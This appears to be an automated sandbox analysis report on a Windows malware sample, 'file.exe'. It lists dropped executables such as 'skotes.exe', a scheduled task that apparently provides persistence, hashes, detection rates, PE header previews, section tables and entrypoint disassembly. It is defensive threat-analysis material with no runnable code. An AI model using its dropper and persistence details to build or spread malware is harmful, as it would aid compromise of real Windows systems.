SHA1:	28724AB39CD0F9F86C80C1F1FCEDCA8DDE14E77F
SHA-256:	2A68C5304DEEBB741759B134BE32D6C0F8E64DFBB8C06D9765E3035D3AF6CBFD
SHA-512:	06EEE70A62C5819CDE765C683382F0C53A3C4757D7387656D2E80B4FB36A3611E9B86E425FE6E0248B0F91860440FD1D77598C011C82CDCDEC0911EE4DB59BAE
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 45%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P(,e.........."...0..$............,.. ...`....@.. ........................,.......,...`.................................U...i....`.............................................................................................................. . .@... ....... ..............@....rsrc........`.......2..............@....idata . ...........8..............@...cdtvwakf..+.......+..:..............@...qjmihuav. ....,.......,.............@....taggant.@....,.."....,.............@...................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1799168
Entropy (8bit):	7.945638239226882
Encrypted:	false
SSDEEP:	49152:JHwIuVNz7KeE3qh5Mr1OeRw2iKZHZPQs23/kOWNY:NuT+ednCwI1ZH5Qs23x
MD5:	CBF2B84F9B993A77C0E2170CCCBACB7C
SHA1:	33FDF37B3A3F1394EDC5D64C0952064B7F4177EA
SHA-256:	9C9687E8C61B784D08F6D80853666FAA0884043CE7B99F4FB3676F3BC563C2F5
SHA-512:	33FC97AD5723E42C856E8797877E2CFB8A6AFB48718834DBC4EFC3407CF96499844910EFF60D60270F72ED288CA7C05552287283FF412F0901739EC9C19EF2D1
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 45%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$....... ...d..d..d....s.\|....F.i....r.^..m.[.g..m.K.b....g..d.......w.w....E.e..Richd..........PE..L....dTg.....................(.......@i...........@..........................pi...........@.................................M.$.a.....$.......................$..................................................................................... . ..$......h..................@....rsrc.........$......x..............@....idata ......$......z..............@... ..*...$......\|..............@...ipnqzgkg.....`O......~..............@...equqovlh.....0i......N..............@....taggant.0...@i.."...R..............@...................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1895424
Entropy (8bit):	7.948081310283833
Encrypted:	false
SSDEEP:	49152:4Dkjoj13w8WgZENdIWFHmIy2LRwIi2CUMozodAh:4DjI/UWFHg2LRv1CUHoY
MD5:	52F0F216DFBB86683B1E318A0796DD81
SHA1:	2E2B8710E0A077ED8A2124FDE2486F397857B8F6
SHA-256:	1D95373C2284B657B614F07051EED5FED72F34F787350409E49E8DC30A5EA494
SHA-512:	BF3BFF59A42E2D10238306FE34F072C14BD482CAC5C20563987A27174BF304A06CFC9C0B3914254F17695D80B006261B29EA025E2B31324CA3CAEEDF3DA211CB
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 39%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....Ug..............................J...........@...........................K...........@.................................\@..p....0.......................A...................................................................................... . . .......B..................@....rsrc........0.......R..............@....idata .....@.......V..............@... ..+..P.......X..............@...xyjapqsh.p...`0..l...Z..............@...fjnsenoe......J.....................@....taggant.0....J.."..................@...................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1013537001\37df924488.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1799168
Entropy (8bit):	7.945638239226882
Encrypted:	false
SSDEEP:	49152:JHwIuVNz7KeE3qh5Mr1OeRw2iKZHZPQs23/kOWNY:NuT+ednCwI1ZH5Qs23x
MD5:	CBF2B84F9B993A77C0E2170CCCBACB7C
SHA1:	33FDF37B3A3F1394EDC5D64C0952064B7F4177EA
SHA-256:	9C9687E8C61B784D08F6D80853666FAA0884043CE7B99F4FB3676F3BC563C2F5
SHA-512:	33FC97AD5723E42C856E8797877E2CFB8A6AFB48718834DBC4EFC3407CF96499844910EFF60D60270F72ED288CA7C05552287283FF412F0901739EC9C19EF2D1
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 45%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$....... ...d..d..d....s.\|....F.i....r.^..m.[.g..m.K.b....g..d.......w.w....E.e..Richd..........PE..L....dTg.....................(.......@i...........@..........................pi...........@.................................M.$.a.....$.......................$..................................................................................... . ..$......h..................@....rsrc.........$......x..............@....idata ......$......z..............@... ..*...$......\|..............@...ipnqzgkg.....`O......~..............@...equqovlh.....0i......N..............@....taggant.0...@i.."...R..............@...................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	971776
Entropy (8bit):	6.706374744993215
Encrypted:	false
SSDEEP:	24576:LqDEvCTbMWu7rQYlBQcBiT6rprG8aTwV:LTvC/MTQYxsWR7aT
MD5:	5DD5F67D25C20DFF1AC926ABDC8C2EB0
SHA1:	E166D8E6544D137AE62FE204C59E53C962342703
SHA-256:	9661D8306B9BF658642A01718AC746113E19741A560A48A5583BACD52998AF22
SHA-512:	DB420ECBD8CFB63766D84BCFED8CD61147F5E6F99FC3EF95548A99CB615893CE47E554E1E94A6FDBCEEDC529973DC716CDB54BEE071D4FAC4FFAFFD056C22897
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 24%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$...................j:......j:..C...j:......@.*...........................n......~............{.......{......{.......z....{......Rich...................PE..L....\Wg.........."..........$......w.............@..........................0......<.....@...@.......@.....................d...\|....@...h.......................u...........................4..........@............................................text............................... ..`.rdata..............................@..@.data...lp.......H..................@....rsrc....h...@...j..................@..@.reloc...u.......v...^..............@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1013539001\9c2827fca4.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2895872
Entropy (8bit):	6.4258400887207126
Encrypted:	false
SSDEEP:	49152:zB4Yi9Rp4WR0viJeLgv+WRLr97P9XZiSdHSy1IJ:z2YyRp4WCaAkGahPVZRIJ
MD5:	6CFAA4B02B026AA1631EDA2E570A1298
SHA1:	28724AB39CD0F9F86C80C1F1FCEDCA8DDE14E77F
SHA-256:	2A68C5304DEEBB741759B134BE32D6C0F8E64DFBB8C06D9765E3035D3AF6CBFD
SHA-512:	06EEE70A62C5819CDE765C683382F0C53A3C4757D7387656D2E80B4FB36A3611E9B86E425FE6E0248B0F91860440FD1D77598C011C82CDCDEC0911EE4DB59BAE
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 45%
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P(,e.........."...0..$............,.. ...`....@.. ........................,.......,...`.................................U...i....`.............................................................................................................. . .@... ....... ..............@....rsrc........`.......2..............@....idata . ...........8..............@...cdtvwakf..+.......+..:..............@...qjmihuav. ....,.......,.............@....taggant.@....,.."....,.............@...................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3210240
Entropy (8bit):	6.6609161202022875
Encrypted:	false
SSDEEP:	49152:xiF3GbjN188C7PW+r5iGNWF79gUeKBlI3uv/zQKsE6d94/Ubd:xiF3UH8D7W+9iGNWhgBmi+vbpsjd94U
MD5:	F5DB9DCEA4098275CB46B5D6FE73CEF8
SHA1:	9B623E4CFFF93BFFBAF7034EBBF893773700BA94
SHA-256:	34959918550EF8A11FE8E0EF9DDE5F85F0DAC541E62A2CAD53998D4A0EB07D9D
SHA-512:	C68DDB34D1268D47F28F7B8E4ED7AC807B39424D09097AABC3274690D1F37BFC3615BDFB69ACEC1E8C08EEE0A3EBBAC6FCC99192441CF94AB4D7E14CB917B9C4
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 55%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................1...........@..........................01.....s.1...@.................................W...k...........................P.0...............................0..................................................... . ............................@....rsrc...............................@....idata ............................@...nnwaoodm.@......@.................@...ocwkoyql......0.......0.............@....taggant.0....1.."....0.............@...........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\AppData\Local\Temp\mozilla-temp-files\mozilla-temp-41

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ISO Media, MP4 Base Media v1 [ISO 14496-12:2003]
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.4593089050301797
Encrypted:	false
SSDEEP:	48:9SP0nUgwyZXYI65yFRX2D3GNTTfyn0Mk1iA:9SDKaIjo3UzyE1L
MD5:	D910AD167F0217587501FDCDB33CC544
SHA1:	2F57441CEFDC781011B53C1C5D29AC54835AFC1D
SHA-256:	E3699D9404A3FFC1AFF0CA8A3972DC0EF38BDAB927741E9F627C7C55CEA42E81
SHA-512:	F1871BF28FF25EE52BDB99C7A80AB715C7CAC164DCD2FD87E681168EE927FD2C5E80E03C91BB638D955A4627213BF575FF4D9EECAEDA7718C128CF2CE8F7CB3D
Malicious:	false
Preview:	... ftypisom....isomiso2avc1mp41....free....mdat..........E...H..,. .#..x264 - core 152 r2851 ba24899 - H.264/MPEG-4 AVC codec - Copyleft 2003-2017 - http://www.videolan.org/x264.html - options: cabac=1 ref=3 deblock=1:0:0 analyse=0x3:0x113 me=hex subme=7 psy=1 psy_rd=1.00:0.00 mixed_ref=1 me_range=16 chroma_me=1 trellis=1 8x8dct=1 cqm=0 deadzone=21,11 fast_pskip=1 chroma_qp_offset=-2 threads=4 lookahead_threads=1 sliced_threads=0 nr=0 decimate=1 interlaced=0 bluray_compat=0 constrained_intra=0 bframes=3 b_pyramid=2 b_adapt=1 b_bias=0 direct=1 weightb=1 open_gop=0 weightp=2 keyint=250 keyint_min=25 scenecut=40 intra_refresh=0 rc_lookahead=40 rc=crf mbtree=1 crf=23.0 qcomp=0.60 qpmin=0 qpmax=69 qpstep=4 ip_ratio=1.40 aq=1:1.00......e...+...s\|.kG3...'.u.."...,J.w.~.d\..(K....!.+..;....h....(.T.*...M......0..~L..8..B..A.y..R..,.zBP.';j.@.].w..........c......C=.'f....gI.$^.......m5V.L...{U..%V[....8......B..i..^,....:...,..5.m.%dA....moov...lmvhd...................(...........

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\favicons.sqlite-shm

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-shm

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.035577876577226504
Encrypted:	false
SSDEEP:	3:GtlstFPLhvO5rhJlQGCS/3lstFPLhvO5rhJlQGCtl/T89//alEl:GtWtGBlWyWtGBlWtlL89XuM
MD5:	167C4BF5BC0F26D818173DAC44EFDEE1
SHA1:	6A046C0DC8F06DDF271FC999D9C0D4FB8240BA36
SHA-256:	4A4E091853584E9348890A6DF6EF862403770C7B04089233B66FFAF5EA59D041
SHA-512:	C50DB06E357DA8EBCC21F0EE9174788088A5FA53684944D5C7CDD4FC597B86ADE211851BB816BC2CA542FE3EAF5B1A7FB813776E623A36A822A24F5041597C6E
Malicious:	false
Preview:	..-......................h<.J.C....5Ql...W.T.s....-......................h<.J.C....5Ql...W.T.s..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-wal

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	SQLite Write-Ahead Log, version 3007000
Category:	dropped
Size (bytes):	32824
Entropy (8bit):	0.039741777434961344
Encrypted:	false
SSDEEP:	3:Ol1arfl9iARI/olNR+PHnl57l8rEXsxdwhml8XW3R2:KIrfllqoh+PHrl8dMhm93w
MD5:	6A4BE250AD9FE5797D6F343094B00E36
SHA1:	B716918B957F4BD04C81A63218D8C8A52950011B
SHA-256:	DE23E233C10422D8D512C9A569002034CB51EBE6EA01627AA8C2CD310BA20547
SHA-512:	33FFC0433CD0DBB89DE3ACE31A9F29AB12BA3D1AEC6CF9C4352B032426BC99A818750AA076C5B9C287DF6F500701776DBC26C9C0EFAA037777CDA3851D9092D8
Malicious:	false
Preview:	7....-.............5Ql.....................5Ql...<h..C.J................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs-1.js

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ASCII text, with very long lines (1809), with CRLF line terminators
Category:	dropped
Size (bytes):	10085
Entropy (8bit):	5.535035049058776
Encrypted:	false
SSDEEP:	192:WnaRtZYbBp6ehj4qyaaX86KakfGNBw8dYSl:xeEquOcwL0
MD5:	C14CB6932F356B50E7D93642F0CF84B9
SHA1:	E6636BE11ACD0217C5C10993535F81FD72BF8E2F
SHA-256:	344A85B01D84BFA01604815462CFDCEF5E270F4F2E48AA519D7EABBC5C7E0BB1
SHA-512:	A3DD291158269C55FDC464E7276F08B08AFE684A74B4B75EADD8F74BB5DB448D07419B94F4FDCF075839B4CC403E21DD0005FAA0A9E93E41ABD081A8E3859C6E
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "57f16a19-e119-4073-bf01-28f88011f783");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.backgroundErrors", 1);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696333830);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696333856);..user_pref("app.up

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ASCII text, with very long lines (1809), with CRLF line terminators
Category:	dropped
Size (bytes):	10085
Entropy (8bit):	5.535035049058776
Encrypted:	false
SSDEEP:	192:WnaRtZYbBp6ehj4qyaaX86KakfGNBw8dYSl:xeEquOcwL0
MD5:	C14CB6932F356B50E7D93642F0CF84B9
SHA1:	E6636BE11ACD0217C5C10993535F81FD72BF8E2F
SHA-256:	344A85B01D84BFA01604815462CFDCEF5E270F4F2E48AA519D7EABBC5C7E0BB1
SHA-512:	A3DD291158269C55FDC464E7276F08B08AFE684A74B4B75EADD8F74BB5DB448D07419B94F4FDCF075839B4CC403E21DD0005FAA0A9E93E41ABD081A8E3859C6E
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "57f16a19-e119-4073-bf01-28f88011f783");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.backgroundErrors", 1);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696333830);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696333856);..user_pref("app.up

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\sessionCheckpoints.json (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	90
Entropy (8bit):	4.194538242412464
Encrypted:	false
SSDEEP:	3:YVXKQJAyiVLQwJtJDBA+AJ2LKZXJ3YFwHY:Y9KQOy6Lb1BA+m2L69Yr
MD5:	C4AB2EE59CA41B6D6A6EA911F35BDC00
SHA1:	5942CD6505FC8A9DABA403B082067E1CDEFDFBC4
SHA-256:	00AD9799527C3FD21F3A85012565EAE817490F3E0D417413BF9567BB5909F6A2
SHA-512:	71EA16900479E6AF161E0AAD08C8D1E9DED5868A8D848E7647272F3002E2F2013E16382B677ABE3C6F17792A26293B9E27EC78E16F00BD24BA3D21072BD1CAE2
Malicious:	false
Preview:	{"profile-after-change":true,"final-ui-startup":true,"sessionstore-windows-restored":true}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\sessionCheckpoints.json.tmp

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	90
Entropy (8bit):	4.194538242412464
Encrypted:	false
SSDEEP:	3:YVXKQJAyiVLQwJtJDBA+AJ2LKZXJ3YFwHY:Y9KQOy6Lb1BA+m2L69Yr
MD5:	C4AB2EE59CA41B6D6A6EA911F35BDC00
SHA1:	5942CD6505FC8A9DABA403B082067E1CDEFDFBC4
SHA-256:	00AD9799527C3FD21F3A85012565EAE817490F3E0D417413BF9567BB5909F6A2
SHA-512:	71EA16900479E6AF161E0AAD08C8D1E9DED5868A8D848E7647272F3002E2F2013E16382B677ABE3C6F17792A26293B9E27EC78E16F00BD24BA3D21072BD1CAE2
Malicious:	false
Preview:	{"profile-after-change":true,"final-ui-startup":true,"sessionstore-windows-restored":true}

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	3.3674784005163163
Encrypted:	false
SSDEEP:	6:DRyoOqlVXflNeRKUEZ+lX1CGdKUe6tPjgsW2YRZuy0lHk0ut0:BOYf2RKQ1CGAFAjzvYRQVHFut0
MD5:	06928C0E9D2BADB4DA8BA8D5CB372264
SHA1:	B0594CA4E727DE1B26BC8673D8E1BF2D1F2ED0F1
SHA-256:	A45B76045C0A7D085B35FF4B0D801A3EC81D2FB30A4167A7BE44BADD0018AC7A
SHA-512:	43E52F2F95B072E384F0454473ECC1E8021788C14BA93D885C537704A0D9211E5C94C7F229CBA26FF5492DC4BE81672E7DFE9F67DE521A9995EE8B6AD58E311D
Malicious:	false
Preview:	.......s.+.N..k..&.-F.......<... .....s.......... ....................8.C.:.\.U.s.e.r.s.\.j.o.n.e.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........J.O.N.E.S.-.P.C.\.j.o.n.e.s...................0...................@3P.........................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.6609161202022875
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	3'210'240 bytes
MD5:	f5db9dcea4098275cb46b5d6fe73cef8
SHA1:	9b623e4cfff93bffbaf7034ebbf893773700ba94
SHA256:	34959918550ef8a11fe8e0ef9dde5f85f0dac541e62a2cad53998d4a0eb07d9d
SHA512:	c68ddb34d1268d47f28f7b8e4ed7ac807b39424d09097aabc3274690d1f37bfc3615bdfb69acec1e8c08eee0a3ebbac6fcc99192441cf94ab4d7e14cb917b9c4
SSDEEP:	49152:xiF3GbjN188C7PW+r5iGNWF79gUeKBlI3uv/zQKsE6d94/Ubd:xiF3UH8D7W+9iGNWhgBmi+vbpsjd94U
TLSH:	46E53891AA0575CFD64A1BF4922BCF429A6C02B5472008E3A86C78BB7E77CDD15EDC34
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C................

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x710000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66F0569C [Sun Sep 22 17:40:44 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F0F34C27B4Ah
pminub mm6, qword ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [0000000Ah], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [eax+00000000h], eax
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add eax, 0000000Ah
add byte ptr [eax], al
add byte ptr [eax], dl
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edx+ecx], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [eax+00000000h], eax
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add eax, 0000000Ah
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add al, 00h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [edx], ecx
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [eax+00000000h], eax
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x6a057	0x6b	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x69000	0x388	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x30ef50	0x10	nnwaoodm
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x30ef00	0x18	nnwaoodm
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x68000	0x68000	e2b9ec171e74023cc48f02f748e10b9e	False	0.5582134540264423	data	7.067745136702224	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x69000	0x388	0x400	514f5782f497fa171df6168314823de0	False	0.453125	data	5.340697973950139	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x6a000	0x1000	0x200	cc76e3822efdc911f469a3e3cc9ce9fe	False	0.1484375	data	1.0428145631430756	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
nnwaoodm	0x6b000	0x2a4000	0x2a4000	cb7299437011f649376c691bbf52268f	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
ocwkoyql	0x30f000	0x1000	0x400	8bc58033b59c3f57c4cdc17443e373dd	False	0.8466796875	data	6.430049483833785	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x310000	0x3000	0x2200	56e3f225356d2f56d881211a9d5c6af0	False	0.0920266544117647	DOS executable (COM)	1.1674000667652142	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x69070	0x198	ASCII text, with CRLF line terminators			0.5808823529411765
RT_MANIFEST	0x69208	0x17d	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.5931758530183727

Imports

DLL	Import
kernel32.dll	lstrcpy

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
